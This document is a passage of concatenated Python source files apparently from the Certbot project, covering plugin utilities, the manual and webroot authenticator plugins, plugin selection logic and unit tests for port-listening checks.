    def inject_parser_options(cls, parser, name):
        """Inject parser options.

        See `~.IPlugin.inject_parser_options` for docs.

        """
        # dummy function, doesn't check if dest.startswith(self.dest_namespace)
        def add(arg_name_no_prefix, *args, **kwargs):
            # pylint: disable=missing-docstring
            return parser.add_argument(
                "--{0}{1}".format(option_namespace(name), arg_name_no_prefix),
                *args, **kwargs)
        return cls.add_parser_arguments(add)

    @property
    def option_namespace(self):
        """ArgumentParser options namespace (prefix of all options)."""
        return option_namespace(self.name)

    def option_name(self, name):
        """Option name (include plugin namespace)."""
        return self.option_namespace + name

    @property
    def dest_namespace(self):
        """ArgumentParser dest namespace (prefix of all destinations)."""
        return dest_namespace(self.name)

    def dest(self, var):
        """Find a destination for given variable ``var``."""
        # this should do exactly the same what ArgumentParser(arg),
        # does to "arg" to compute "dest"
        return self.dest_namespace + var.replace("-", "_")

    def conf(self, var):
        """Find a configuration value for variable ``var``."""
        return getattr(self.config, self.dest(var))
# other


class Addr(object):
    r"""Represents an virtual host address.

    :param str addr: addr part of vhost address
    :param str port: port number or \*, or ""

    """
    def __init__(self, tup, ipv6=False):
        self.tup = tup
        self.ipv6 = ipv6

    @classmethod
    def fromstring(cls, str_addr):
        """Initialize Addr from string."""
        if str_addr.startswith('['):
            # ipv6 addresses starts with [
            endIndex = str_addr.rfind(']')
            host = str_addr[:endIndex + 1]
            port = ''
            if len(str_addr) > endIndex + 2 and str_addr[endIndex + 1] == ':':
                port = str_addr[endIndex + 2:]
            return cls((host, port), ipv6=True)
        else:
            tup = str_addr.partition(':')
            return cls((tup[0], tup[2]))

    def __str__(self):
        if self.tup[1]:
            return "%s:%s" % self.tup
        return self.tup[0]

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            if self.ipv6:
                # compare normalized to take different
                # styles of representation into account
                return (other.ipv6 and
                        self._normalize_ipv6(self.tup[0]) ==
                        self._normalize_ipv6(other.tup[0]) and
                        self.tup[1] == other.tup[1])
            else:
                return self.tup == other.tup

        return False

    def __hash__(self):
        return hash(self.tup)

    def get_addr(self):
        """Return addr part of Addr object."""
        return self.tup[0]

    def get_port(self):
        """Return port."""
        return self.tup[1]

    def get_addr_obj(self, port):
        """Return new address object with same addr and new port."""
        return self.__class__((self.tup[0], port), self.ipv6)

    def _normalize_ipv6(self, addr):
        """Return IPv6 address in normalized form, helper function"""
        addr = addr.lstrip("[")
        addr = addr.rstrip("]")
        return self._explode_ipv6(addr)

    def get_ipv6_exploded(self):
        """Return IPv6 in normalized form"""
        if self.ipv6:
            return ":".join(self._normalize_ipv6(self.tup[0]))
        return ""

    def _explode_ipv6(self, addr):
        """Explode IPv6 address for comparison"""
        result = ['0', '0', '0', '0', '0', '0', '0', '0']
        addr_list = addr.split(":")
        if len(addr_list) > len(result):
            # too long, truncate
            addr_list = addr_list[0:len(result)]
        append_to_end = False
        for i in range(0, len(addr_list)):
            block = addr_list[i]
            if len(block) == 0:
                # encountered ::, so rest of the blocks should be
                # appended to the end
                append_to_end = True
                continue
            elif len(block) > 1:
                # remove leading zeros
                block = block.lstrip("0")
            if not append_to_end:
                result[i] = str(block)
            else:
                # count the location from the end using negative indices
                result[i-len(addr_list)] = str(block)
        return result


class TLSSNI01(object):
    """Abstract base for TLS-SNI-01 challenge performers"""

    def __init__(self, configurator):
        self.configurator = configurator
        self.achalls = []
        self.indices = []
        self.challenge_conf = os.path.join(
            configurator.config.config_dir, "le_tls_sni_01_cert_challenge.conf")
        # self.completed = 0

    def add_chall(self, achall, idx=None):
        """Add challenge to TLSSNI01 object to perform at once.

        :param .KeyAuthorizationAnnotatedChallenge achall: Annotated
            TLSSNI01 challenge.

        :param int idx: index to challenge in a larger array

        """
        self.achalls.append(achall)
        if idx is not None:
            self.indices.append(idx)

    def get_cert_path(self, achall):
        """Returns standardized name for challenge certificate.

        :param .KeyAuthorizationAnnotatedChallenge achall: Annotated
            tls-sni-01 challenge.

        :returns: certificate file name
        :rtype: str

        """
        return os.path.join(self.configurator.config.work_dir,
                            achall.chall.encode("token") + ".crt")

    def get_key_path(self, achall):
        """Get standardized path to challenge key."""
        return os.path.join(self.configurator.config.work_dir,
                            achall.chall.encode("token") + '.pem')

    def _setup_challenge_cert(self, achall, cert_key=None):

        """Generate and write out challenge certificate."""
        cert_path = self.get_cert_path(achall)
        key_path = self.get_key_path(achall)
        # Register the path before you write out the file
        self.configurator.reverter.register_file_creation(True, key_path)
        self.configurator.reverter.register_file_creation(True, cert_path)

        response, (cert, key) = achall.response_and_validation(
            cert_key=cert_key)
        cert_pem = OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_PEM, cert)
        key_pem = OpenSSL.crypto.dump_privatekey(
            OpenSSL.crypto.FILETYPE_PEM, key)

        # Write out challenge cert and key
        with open(cert_path, "wb") as cert_chall_fd:
            cert_chall_fd.write(cert_pem)
        with util.safe_open(key_path, 'wb', chmod=0o400) as key_file:
            key_file.write(key_pem)

        return response


# test utils used by certbot_apache/certbot_nginx (hence
# "pragma: no cover") TODO: this might quickly lead to dead code (also
# c.f. #383)

def setup_ssl_options(config_dir, src, dest):  # pragma: no cover
    """Move the ssl_options into position and return the path."""
    option_path = os.path.join(config_dir, dest)
    shutil.copyfile(src, option_path)
    return option_path


def dir_setup(test_dir, pkg):  # pragma: no cover
    """Setup the directories necessary for the configurator."""
    temp_dir = tempfile.mkdtemp("temp")
    config_dir = tempfile.mkdtemp("config")
    work_dir = tempfile.mkdtemp("work")

    os.chmod(temp_dir, constants.CONFIG_DIRS_MODE)
    os.chmod(config_dir, constants.CONFIG_DIRS_MODE)
    os.chmod(work_dir, constants.CONFIG_DIRS_MODE)

    test_configs = pkg_resources.resource_filename(
        pkg, os.path.join("testdata", test_dir))

    shutil.copytree(
        test_configs, os.path.join(temp_dir, test_dir), symlinks=True)

    return temp_dir, config_dir, work_dir






"""Manual plugin."""
import os
import logging
import pipes
import shutil
import signal
import socket
import subprocess
import sys
import tempfile
import time

import six
import zope.component
import zope.interface

from acme import challenges

from certbot import errors
from certbot import interfaces
from certbot.plugins import common


logger = logging.getLogger(__name__)


@zope.interface.implementer(interfaces.IAuthenticator)
@zope.interface.provider(interfaces.IPluginFactory)
class Authenticator(common.Plugin):
    """Manual Authenticator.

    This plugin requires user's manual intervention in setting up a HTTP
    server for solving http-01 challenges and thus does not need to be
    run as a privileged process. Alternatively shows instructions on how
    to use Python's built-in HTTP server.

    .. todo:: Support for `~.challenges.TLSSNI01`.

    """
    hidden = True

    description = "Manually configure an HTTP server"

    MESSAGE_TEMPLATE = """\
Make sure your web server displays the following content at
{uri} before continuing:

{validation}

If you don't have HTTP server configured, you can run the following
command on the target server (as root):

{command}
"""

    # a disclaimer about your current IP being transmitted to Let's Encrypt's servers.
    IP_DISCLAIMER = """\
NOTE: The IP of this machine will be publicly logged as having requested this certificate. \
If you're running certbot in manual mode on a machine that is not your server, \
please ensure you're okay with that.

Are you OK with your IP being logged?
"""

    # "cd /tmp/certbot" makes sure user doesn't serve /root,
    # separate "public_html" ensures that cert.pem/key.pem are not
    # served and makes it more obvious that Python command will serve
    # anything recursively under the cwd

    CMD_TEMPLATE = """\
mkdir -p {root}/public_html/{achall.URI_ROOT_PATH}
cd {root}/public_html
printf "%s" {validation} > {achall.URI_ROOT_PATH}/{encoded_token}
# run only once per server:
$(command -v python2 || command -v python2.7 || command -v python2.6) -c \\
"import BaseHTTPServer, SimpleHTTPServer; \\
s = BaseHTTPServer.HTTPServer(('', {port}), SimpleHTTPServer.SimpleHTTPRequestHandler); \\
s.serve_forever()" """
    """Command template."""

    def __init__(self, *args, **kwargs):
        super(Authenticator, self).__init__(*args, **kwargs)
        self._root = (tempfile.mkdtemp() if self.conf("test-mode")
                      else "/tmp/certbot")
        self._httpd = None

    @classmethod
    def add_parser_arguments(cls, add):
        add("test-mode", action="store_true",
            help="Test mode. Executes the manual command in subprocess.")
        add("public-ip-logging-ok", action="store_true",
            help="Automatically allows public IP logging.")

    def prepare(self):  # pylint: disable=missing-docstring,no-self-use
        if self.config.noninteractive_mode and not self.conf("test-mode"):
            raise errors.PluginError("Running manual mode non-interactively is not supported")

    def more_info(self):  # pylint: disable=missing-docstring,no-self-use
        return ("This plugin requires user's manual intervention in setting "
                "up an HTTP server for solving http-01 challenges and thus "
                "does not need to be run as a privileged process. "
                "Alternatively shows instructions on how to use Python's "
                "built-in HTTP server.")

    def get_chall_pref(self, domain):
        # pylint: disable=missing-docstring,no-self-use,unused-argument
        return [challenges.HTTP01]

    def perform(self, achalls):  # pylint: disable=missing-docstring
        responses = []
        # TODO: group achalls by the same socket.gethostbyname(_ex)
        # and prompt only once per server (one "echo -n" per domain)
        for achall in achalls:
            responses.append(self._perform_single(achall))
        return responses

    @classmethod
    def _test_mode_busy_wait(cls, port):
        while True:
            time.sleep(1)
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                sock.connect(("localhost", port))
            except socket.error:  # pragma: no cover
                pass
            else:
                break
            finally:
                sock.close()

    def _perform_single(self, achall):
        # same path for each challenge response would be easier for
        # users, but will not work if multiple domains point at the
        # same server: default command doesn't support virtual hosts
        response, validation = achall.response_and_validation()

        port = (response.port if self.config.http01_port is None
                else int(self.config.http01_port))
        command = self.CMD_TEMPLATE.format(
            root=self._root, achall=achall, response=response,
            # TODO(kuba): pipes still necessary?
            validation=pipes.quote(validation),
            encoded_token=achall.chall.encode("token"),
            port=port)
        if self.conf("test-mode"):
            logger.debug("Test mode. Executing the manual command: %s", command)
            # sh shipped with OS X does't support echo -n, but supports printf
            try:
                self._httpd = subprocess.Popen(
                    command,
                    # don't care about setting stdout and stderr,
                    # we're in test mode anyway
                    shell=True,
                    executable=None,
                    # "preexec_fn" is UNIX specific, but so is "command"
                    preexec_fn=os.setsid)
            except OSError as error:  # ValueError should not happen!
                logger.debug(
                    "Couldn't execute manual command: %s", error, exc_info=True)
                return False
            logger.debug("Manual command running as PID %s.", self._httpd.pid)
            # give it some time to bootstrap, before we try to verify
            # (cert generation in case of simpleHttpS might take time)
            self._test_mode_busy_wait(port)
            if self._httpd.poll() is not None:
                raise errors.Error("Couldn't execute manual command")
        else:
            if not self.conf("public-ip-logging-ok"):
                if not zope.component.getUtility(interfaces.IDisplay).yesno(
                        self.IP_DISCLAIMER, "Yes", "No",
                        cli_flag="--manual-public-ip-logging-ok"):
                    raise errors.PluginError("Must agree to IP logging to proceed")

            self._notify_and_wait(self.MESSAGE_TEMPLATE.format(
                validation=validation, response=response,
                uri=achall.chall.uri(achall.domain),
                command=command))

        if not response.simple_verify(
                achall.chall, achall.domain,
                achall.account_key.public_key(), self.config.http01_port):
            logger.warning("Self-verify of challenge failed.")

        return response

    def _notify_and_wait(self, message):  # pylint: disable=no-self-use
        # TODO: IDisplay wraps messages, breaking the command
        #answer = zope.component.getUtility(interfaces.IDisplay).notification(
        #    message=message, height=25, pause=True)
        sys.stdout.write(message)
        six.moves.input("Press ENTER to continue")

    def cleanup(self, achalls):
        # pylint: disable=missing-docstring,no-self-use,unused-argument
        if self.conf("test-mode"):
            assert self._httpd is not None, (
                "cleanup() must be called after perform()")
            if self._httpd.poll() is None:
                logger.debug("Terminating manual command process")
                os.killpg(self._httpd.pid, signal.SIGTERM)
            else:
                logger.debug("Manual command process already terminated "
                             "with %s code", self._httpd.returncode)
            shutil.rmtree(self._root)






"""Decide which plugins to use for authentication & installation"""
from __future__ import print_function

import os
import logging

import six
import zope.component

from certbot import errors
from certbot import interfaces

from certbot.display import util as display_util

logger = logging.getLogger(__name__)
z_util = zope.component.getUtility

def pick_configurator(
        config, default, plugins,
        question="How would you like to authenticate and install "
                 "certificates?"):
    """Pick configurator plugin."""
    return pick_plugin(
        config, default, plugins, question,
        (interfaces.IAuthenticator, interfaces.IInstaller))


def pick_installer(config, default, plugins,
                   question="How would you like to install certificates?"):
    """Pick installer plugin."""
    return pick_plugin(
        config, default, plugins, question, (interfaces.IInstaller,))


def pick_authenticator(
        config, default, plugins, question="How would you "
        "like to authenticate with the ACME CA?"):
    """Pick authentication plugin."""
    return pick_plugin(
        config, default, plugins, question, (interfaces.IAuthenticator,))


def pick_plugin(config, default, plugins, question, ifaces):
    """Pick plugin.

    :param certbot.interfaces.IConfig: Configuration
    :param str default: Plugin name supplied by user or ``None``.
    :param certbot.plugins.disco.PluginsRegistry plugins:
        All plugins registered as entry points.
    :param str question: Question to be presented to the user in case
        multiple candidates are found.
    :param list ifaces: Interfaces that plugins must provide.

    :returns: Initialized plugin.
    :rtype: IPlugin

    """
    if default is not None:
        # throw more UX-friendly error if default not in plugins
        filtered = plugins.filter(lambda p_ep: p_ep.name == default)
    else:
        if config.noninteractive_mode:
            # it's really bad to auto-select the single available plugin in
            # non-interactive mode, because an update could later add a second
            # available plugin
            raise errors.MissingCommandlineFlag(
                "Missing command line flags. For non-interactive execution, "
                "you will need to specify a plugin on the command line.  Run "
                "with '--help plugins' to see a list of options, and see "
                "https://eff.org/letsencrypt-plugins for more detail on what "
                "the plugins do and how to use them.")

        filtered = plugins.visible().ifaces(ifaces)

    filtered.init(config)
    verified = filtered.verify(ifaces)
    verified.prepare()
    prepared = verified.available()

    if len(prepared) > 1:
        logger.debug("Multiple candidate plugins: %s", prepared)
        plugin_ep = choose_plugin(list(six.itervalues(prepared)), question)
        if plugin_ep is None:
            return None
        else:
            return plugin_ep.init()
    elif len(prepared) == 1:
        plugin_ep = list(prepared.values())[0]
        logger.debug("Single candidate plugin: %s", plugin_ep)
        if plugin_ep.misconfigured:
            return None
        return plugin_ep.init()
    else:
        logger.debug("No candidate plugin")
        return None


def choose_plugin(prepared, question):
    """Allow the user to choose their plugin.

    :param list prepared: List of `~.PluginEntryPoint`.
    :param str question: Question to be presented to the user.

    :returns: Plugin entry point chosen by the user.
    :rtype: `~.PluginEntryPoint`

    """
    opts = [plugin_ep.description_with_name +
            (" [Misconfigured]" if plugin_ep.misconfigured else "")
            for plugin_ep in prepared]

    while True:
        disp = z_util(interfaces.IDisplay)
        code, index = disp.menu(question, opts, help_label="More Info")

        if code == display_util.OK:
            plugin_ep = prepared[index]
            if plugin_ep.misconfigured:
                z_util(interfaces.IDisplay).notification(
                    "The selected plugin encountered an error while parsing "
                    "your server configuration and cannot be used. The error "
                    "was:\n\n{0}".format(plugin_ep.prepare()),
                    height=display_util.HEIGHT, pause=False)
            else:
                return plugin_ep
        elif code == display_util.HELP:
            if prepared[index].misconfigured:
                msg = "Reported Error: %s" % prepared[index].prepare()
            else:
                msg = prepared[index].init().more_info()
            z_util(interfaces.IDisplay).notification(
                msg, height=display_util.HEIGHT)
        else:
            return None

noninstaller_plugins = ["webroot", "manual", "standalone"]

def record_chosen_plugins(config, plugins, auth, inst):
    "Update the config entries to reflect the plugins we actually selected."
    cn = config.namespace
    cn.authenticator = plugins.find_init(auth).name if auth else "None"
    cn.installer = plugins.find_init(inst).name if inst else "None"


def choose_configurator_plugins(config, plugins, verb):
    """
    Figure out which configurator we're going to use, modifies
    config.authenticator and config.installer strings to reflect that choice if
    necessary.

    :raises errors.PluginSelectionError if there was a problem

    :returns: (an `IAuthenticator` or None, an `IInstaller` or None)
    :rtype: tuple
    """

    req_auth, req_inst = cli_plugin_requests(config)

    # Which plugins do we need?
    if verb == "run":
        need_inst = need_auth = True
        from certbot.cli import cli_command
        if req_auth in noninstaller_plugins and not req_inst:
            msg = ('With the {0} plugin, you probably want to use the "certonly" command, eg:{1}'
                   '{1}    {2} certonly --{0}{1}{1}'
                   '(Alternatively, add a --installer flag. See https://eff.org/letsencrypt-plugins'
                   '{1} and "--help plugins" for more information.)'.format(
                       req_auth, os.linesep, cli_command))

            raise errors.MissingCommandlineFlag(msg)
    else:
        need_inst = need_auth = False
    if verb == "certonly":
        need_auth = True
    if verb == "install":
        need_inst = True
        if config.authenticator:
            logger.warning("Specifying an authenticator doesn't make sense in install mode")

    # Try to meet the user's request and/or ask them to pick plugins
    authenticator = installer = None
    if verb == "run" and req_auth == req_inst:
        # Unless the user has explicitly asked for different auth/install,
        # only consider offering a single choice
        authenticator = installer = pick_configurator(config, req_inst, plugins)
    else:
        if need_inst or req_inst:
            installer = pick_installer(config, req_inst, plugins)
        if need_auth:
            authenticator = pick_authenticator(config, req_auth, plugins)
    logger.debug("Selected authenticator %s and installer %s", authenticator, installer)

    # Report on any failures
    if need_inst and not installer:
        diagnose_configurator_problem("installer", req_inst, plugins)
    if need_auth and not authenticator:
        diagnose_configurator_problem("authenticator", req_auth, plugins)

    record_chosen_plugins(config, plugins, authenticator, installer)
    return installer, authenticator


def set_configurator(previously, now):
    """
    Setting configurators multiple ways is okay, as long as they all agree
    :param str previously: previously identified request for the installer/authenticator
    :param str requested: the request currently being processed
    """
    if not now:
        # we're not actually setting anything
        return previously
    if previously:
        if previously != now:
            msg = "Too many flags setting configurators/installers/authenticators {0} -> {1}"
            raise errors.PluginSelectionError(msg.format(repr(previously), repr(now)))
    return now


def cli_plugin_requests(config):
    """
    Figure out which plugins the user requested with CLI and config options

    :returns: (requested authenticator string or None, requested installer string or None)
    :rtype: tuple
    """
    req_inst = req_auth = config.configurator
    req_inst = set_configurator(req_inst, config.installer)
    req_auth = set_configurator(req_auth, config.authenticator)
    if config.nginx:
        req_inst = set_configurator(req_inst, "nginx")
        req_auth = set_configurator(req_auth, "nginx")
    if config.apache:
        req_inst = set_configurator(req_inst, "apache")
        req_auth = set_configurator(req_auth, "apache")
    if config.standalone:
        req_auth = set_configurator(req_auth, "standalone")
    if config.webroot:
        req_auth = set_configurator(req_auth, "webroot")
    if config.manual:
        req_auth = set_configurator(req_auth, "manual")
    logger.debug("Requested authenticator %s and installer %s", req_auth, req_inst)
    return req_auth, req_inst


def diagnose_configurator_problem(cfg_type, requested, plugins):
    """
    Raise the most helpful error message about a plugin being unavailable

    :param str cfg_type: either "installer" or "authenticator"
    :param str requested: the plugin that was requested
    :param .PluginsRegistry plugins: available plugins

    :raises error.PluginSelectionError: if there was a problem
    """

    if requested:
        if requested not in plugins:
            msg = "The requested {0} plugin does not appear to be installed".format(requested)
        else:
            msg = ("The {0} plugin is not working; there may be problems with "
                   "your existing configuration.\nThe error was: {1!r}"
                   .format(requested, plugins[requested].problem))
    elif cfg_type == "installer":
        msg = ('No installer plugins seem to be present and working on your system; '
               'fix that or try running certbot with the "certonly" command to obtain'
               ' a certificate you can install manually')
    else:
        msg = "{0} could not be determined or is not installed".format(cfg_type)
    raise errors.PluginSelectionError(msg)






"""Tests for certbot.plugins.util."""
import os
import unittest
import sys

import mock

try:
    # Python 3.5+
    from importlib import reload as refresh  # pylint: disable=no-name-in-module
except ImportError:
    # Python 2-3.4
    from imp import reload as refresh


class PathSurgeryTest(unittest.TestCase):
    """Tests for certbot.plugins.path_surgery."""

    @mock.patch("certbot.plugins.util.logger.warning")
    @mock.patch("certbot.plugins.util.logger.debug")
    def test_path_surgery(self, mock_debug, mock_warn):
        from certbot.plugins.util import path_surgery
        all_path = {"PATH": "/usr/local/bin:/bin/:/usr/sbin/:/usr/local/sbin/"}
        with mock.patch.dict('os.environ', all_path):
            with mock.patch('certbot.util.exe_exists') as mock_exists:
                mock_exists.return_value = True
                self.assertEqual(path_surgery("eg"), True)
                self.assertEqual(mock_debug.call_count, 0)
                self.assertEqual(mock_warn.call_count, 0)
                self.assertEqual(os.environ["PATH"], all_path["PATH"])
        no_path = {"PATH": "/tmp/"}
        with mock.patch.dict('os.environ', no_path):
            path_surgery("thingy")
            self.assertEqual(mock_debug.call_count, 1)
            self.assertEqual(mock_warn.call_count, 1)
            self.assertTrue("Failed to find" in mock_warn.call_args[0][0])
            self.assertTrue("/usr/local/bin" in os.environ["PATH"])
            self.assertTrue("/tmp" in os.environ["PATH"])


class AlreadyListeningTestNoPsutil(unittest.TestCase):
    """Tests for certbot.plugins.already_listening when
    psutil is not available"""
    def setUp(self):
        import certbot.plugins.util
        # Ensure we get importerror
        self.psutil = None
        if "psutil" in sys.modules:
            self.psutil = sys.modules['psutil']
        sys.modules['psutil'] = None
        # Reload hackery to ensure getting non-psutil version
        # loaded to memory
        refresh(certbot.plugins.util)

    def tearDown(self):
        # Need to reload the module to ensure
        # getting back to normal
        import certbot.plugins.util
        sys.modules["psutil"] = self.psutil
        refresh(certbot.plugins.util)

    @mock.patch("certbot.plugins.util.zope.component.getUtility")
    def test_ports_available(self, mock_getutil):
        import certbot.plugins.util as plugins_util
        # Ensure we don't get error
        with mock.patch("socket.socket.bind"):
            self.assertFalse(plugins_util.already_listening(80))
            self.assertFalse(plugins_util.already_listening(80, True))
            self.assertEqual(mock_getutil.call_count, 0)

    @mock.patch("certbot.plugins.util.zope.component.getUtility")
    def test_ports_blocked(self, mock_getutil):
        sys.modules["psutil"] = None
        import certbot.plugins.util as plugins_util
        import socket
        with mock.patch("socket.socket.bind", side_effect=socket.error):
            self.assertTrue(plugins_util.already_listening(80))
            self.assertTrue(plugins_util.already_listening(80, True))
        with mock.patch("socket.socket", side_effect=socket.error):
            self.assertFalse(plugins_util.already_listening(80))
        self.assertEqual(mock_getutil.call_count, 2)


class AlreadyListeningTestPsutil(unittest.TestCase):
    """Tests for certbot.plugins.already_listening."""
    def _call(self, *args, **kwargs):
        from certbot.plugins.util import already_listening
        return already_listening(*args, **kwargs)

    @mock.patch("certbot.plugins.util.psutil.net_connections")
    @mock.patch("certbot.plugins.util.psutil.Process")
    @mock.patch("certbot.plugins.util.zope.component.getUtility")
    def test_race_condition(self, mock_get_utility, mock_process, mock_net):
        # This tests a race condition, or permission problem, or OS
        # incompatibility in which, for some reason, no process name can be
        # found to match the identified listening PID.
        import psutil
        from psutil._common import sconn
        conns = [
            sconn(fd=-1, family=2, type=1, laddr=("0.0.0.0", 30),
                  raddr=(), status="LISTEN", pid=None),
            sconn(fd=3, family=2, type=1, laddr=("192.168.5.10", 32783),
                  raddr=("20.40.60.80", 22), status="ESTABLISHED", pid=1234),
            sconn(fd=-1, family=10, type=1, laddr=("::1", 54321),
                  raddr=("::1", 111), status="CLOSE_WAIT", pid=None),
            sconn(fd=3, family=2, type=1, laddr=("0.0.0.0", 17),
                  raddr=(), status="LISTEN", pid=4416)]
        mock_net.return_value = conns
        mock_process.side_effect = psutil.NoSuchProcess("No such PID")
        # We simulate being unable to find the process name of PID 4416,
        # which results in returning False.
        self.assertFalse(self._call(17))
        self.assertEqual(mock_get_utility.generic_notification.call_count, 0)
        mock_process.assert_called_once_with(4416)

    @mock.patch("certbot.plugins.util.psutil.net_connections")
    @mock.patch("certbot.plugins.util.psutil.Process")
    @mock.patch("certbot.plugins.util.zope.component.getUtility")
    def test_not_listening(self, mock_get_utility, mock_process, mock_net):
        from psutil._common import sconn
        conns = [
            sconn(fd=-1, family=2, type=1, laddr=("0.0.0.0", 30),
                  raddr=(), status="LISTEN", pid=None),
            sconn(fd=3, family=2, type=1, laddr=("192.168.5.10", 32783),
                  raddr=("20.40.60.80", 22), status="ESTABLISHED", pid=1234),
            sconn(fd=-1, family=10, type=1, laddr=("::1", 54321),
                  raddr=("::1", 111), status="CLOSE_WAIT", pid=None)]
        mock_net.return_value = conns
        mock_process.name.return_value = "inetd"
        self.assertFalse(self._call(17))
        self.assertEqual(mock_get_utility.generic_notification.call_count, 0)
        self.assertEqual(mock_process.call_count, 0)

    @mock.patch("certbot.plugins.util.psutil.net_connections")
    @mock.patch("certbot.plugins.util.psutil.Process")
    @mock.patch("certbot.plugins.util.zope.component.getUtility")
    def test_listening_ipv4(self, mock_get_utility, mock_process, mock_net):
        from psutil._common import sconn
        conns = [
            sconn(fd=-1, family=2, type=1, laddr=("0.0.0.0", 30),
                  raddr=(), status="LISTEN", pid=None),
            sconn(fd=3, family=2, type=1, laddr=("192.168.5.10", 32783),
                  raddr=("20.40.60.80", 22), status="ESTABLISHED", pid=1234),
            sconn(fd=-1, family=10, type=1, laddr=("::1", 54321),
                  raddr=("::1", 111), status="CLOSE_WAIT", pid=None),
            sconn(fd=3, family=2, type=1, laddr=("0.0.0.0", 17),
                  raddr=(), status="LISTEN", pid=4416)]
        mock_net.return_value = conns
        mock_process.name.return_value = "inetd"
        result = self._call(17, True)
        self.assertTrue(result)
        self.assertEqual(mock_get_utility.call_count, 1)
        mock_process.assert_called_once_with(4416)

    @mock.patch("certbot.plugins.util.psutil.net_connections")
    @mock.patch("certbot.plugins.util.psutil.Process")
    @mock.patch("certbot.plugins.util.zope.component.getUtility")
    def test_listening_ipv6(self, mock_get_utility, mock_process, mock_net):
        from psutil._common import sconn
        conns = [
            sconn(fd=-1, family=2, type=1, laddr=("0.0.0.0", 30),
                  raddr=(), status="LISTEN", pid=None),
            sconn(fd=3, family=2, type=1, laddr=("192.168.5.10", 32783),
                  raddr=("20.40.60.80", 22), status="ESTABLISHED", pid=1234),
            sconn(fd=-1, family=10, type=1, laddr=("::1", 54321),
                  raddr=("::1", 111), status="CLOSE_WAIT", pid=None),
            sconn(fd=3, family=10, type=1, laddr=("::", 12345), raddr=(),
                  status="LISTEN", pid=4420),
            sconn(fd=3, family=2, type=1, laddr=("0.0.0.0", 17),
                  raddr=(), status="LISTEN", pid=4416)]
        mock_net.return_value = conns
        mock_process.name.return_value = "inetd"
        result = self._call(12345)
        self.assertTrue(result)
        self.assertEqual(mock_get_utility.call_count, 1)
        mock_process.assert_called_once_with(4420)

    @mock.patch("certbot.plugins.util.psutil.net_connections")
    def test_access_denied_exception(self, mock_net):
        import psutil
        mock_net.side_effect = psutil.AccessDenied("")
        self.assertFalse(self._call(12345))

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Webroot plugin."""
import argparse
import collections
import errno
import json
import logging
import os

import six
import zope.component
import zope.interface

from acme import challenges

from certbot import cli
from certbot import errors
from certbot import interfaces
from certbot.display import util as display_util
from certbot.plugins import common


logger = logging.getLogger(__name__)


@zope.interface.implementer(interfaces.IAuthenticator)
@zope.interface.provider(interfaces.IPluginFactory)
class Authenticator(common.Plugin):
    """Webroot Authenticator."""

    description = "Place files in webroot directory"

    MORE_INFO = """\
Authenticator plugin that performs http-01 challenge by saving
necessary validation resources to appropriate paths on the file
system. It expects that there is some other HTTP server configured
to serve all files under specified web root ({0})."""

    def more_info(self):  # pylint: disable=missing-docstring,no-self-use
        return self.MORE_INFO.format(self.conf("path"))

    @classmethod
    def add_parser_arguments(cls, add):
        add("path", "-w", default=[], action=_WebrootPathAction,
            help="public_html / webroot path. This can be specified multiple "
                 "times to handle different domains; each domain will have "
                 "the webroot path that preceded it.  For instance: `-w "
                 "/var/www/example -d example.com -d www.example.com -w "
                 "/var/www/thing -d thing.net -d m.thing.net`")
        add("map", default={}, action=_WebrootMapAction,
            help="JSON dictionary mapping domains to webroot paths; this "
                 "implies -d for each entry. You may need to escape this from "
                 "your shell. E.g.: --webroot-map "
                 '\'{"eg1.is,m.eg1.is":"/www/eg1/", "eg2.is":"/www/eg2"}\' '
                 "This option is merged with, but takes precedence over, -w / "
                 "-d entries. At present, if you put webroot-map in a config "
                 "file, it needs to be on a single line, like: webroot-map = "
                 '{"example.com":"/var/www"}.')

    def get_chall_pref(self, domain):  # pragma: no cover
        # pylint: disable=missing-docstring,no-self-use,unused-argument
        return [challenges.HTTP01]

    def __init__(self, *args, **kwargs):
        super(Authenticator, self).__init__(*args, **kwargs)
        self.full_roots = {}
        self.performed = collections.defaultdict(set)

    def prepare(self):  # pylint: disable=missing-docstring
        pass

    def perform(self, achalls):  # pylint: disable=missing-docstring
        self._set_webroots(achalls)

        self._create_challenge_dirs()

        return [self._perform_single(achall) for achall in achalls]

    def _set_webroots(self, achalls):
        if self.conf("path"):
            webroot_path = self.conf("path")[-1]
            logger.info("Using the webroot path %s for all unmatched domains.",
                        webroot_path)
            for achall in achalls:
                self.conf("map").setdefault(achall.domain, webroot_path)
        else:
            known_webroots = list(set(six.itervalues(self.conf("map"))))
            for achall in achalls:
                if achall.domain not in self.conf("map"):
                    new_webroot = self._prompt_for_webroot(achall.domain,
                                                           known_webroots)
                    # Put the most recently input
                    # webroot first for easy selection
                    try:
                        known_webroots.remove(new_webroot)
                    except ValueError:
                        pass
                    known_webroots.insert(0, new_webroot)
                    self.conf("map")[achall.domain] = new_webroot

    def _prompt_for_webroot(self, domain, known_webroots):
        webroot = None

        while webroot is None:
            webroot = self._prompt_with_webroot_list(domain, known_webroots)

            if webroot is None:
                webroot = self._prompt_for_new_webroot(domain)

        return webroot

    def _prompt_with_webroot_list(self, domain, known_webroots):
        display = zope.component.getUtility(interfaces.IDisplay)

        while True:
            code, index = display.menu(
                "Select the webroot for {0}:".format(domain),
                ["Enter a new webroot"] + known_webroots,
                help_label="Help", cli_flag="--" + self.option_name("path"))
            if code == display_util.CANCEL:
                raise errors.PluginError(
                    "Every requested domain must have a "
                    "webroot when using the webroot plugin.")
            elif code == display_util.HELP:
                display.notification(
                    "To use the webroot plugin, you need to have an "
                    "HTTP server running on this system serving files "
                    "for the requested domain. Additionally, this "
                    "server should be serving all files contained in a "
                    "public_html or webroot directory. The webroot "
                    "plugin works by temporarily saving necessary "
                    "resources in the HTTP server's webroot directory "
                    "to pass domain validation challenges.")
            else:  # code == display_util.OK
                return None if index == 0 else known_webroots[index - 1]

    def _prompt_for_new_webroot(self, domain):
        display = zope.component.getUtility(interfaces.IDisplay)

        while True:
            code, webroot = display.directory_select(
                "Input the webroot for {0}:".format(domain))
            if code == display_util.HELP:
                # Help can currently only be selected
                # when using the ncurses interface
                display.notification(display_util.DSELECT_HELP)
            elif code == display_util.CANCEL:
                return None
            else:  # code == display_util.OK
                try:
                    return _validate_webroot(webroot)
                except errors.PluginError as error:
                    display.notification(str(error), pause=False)

    def _create_challenge_dirs(self):
        path_map = self.conf("map")
        if not path_map:
            raise errors.PluginError(
                "Missing parts of webroot configuration; please set either "
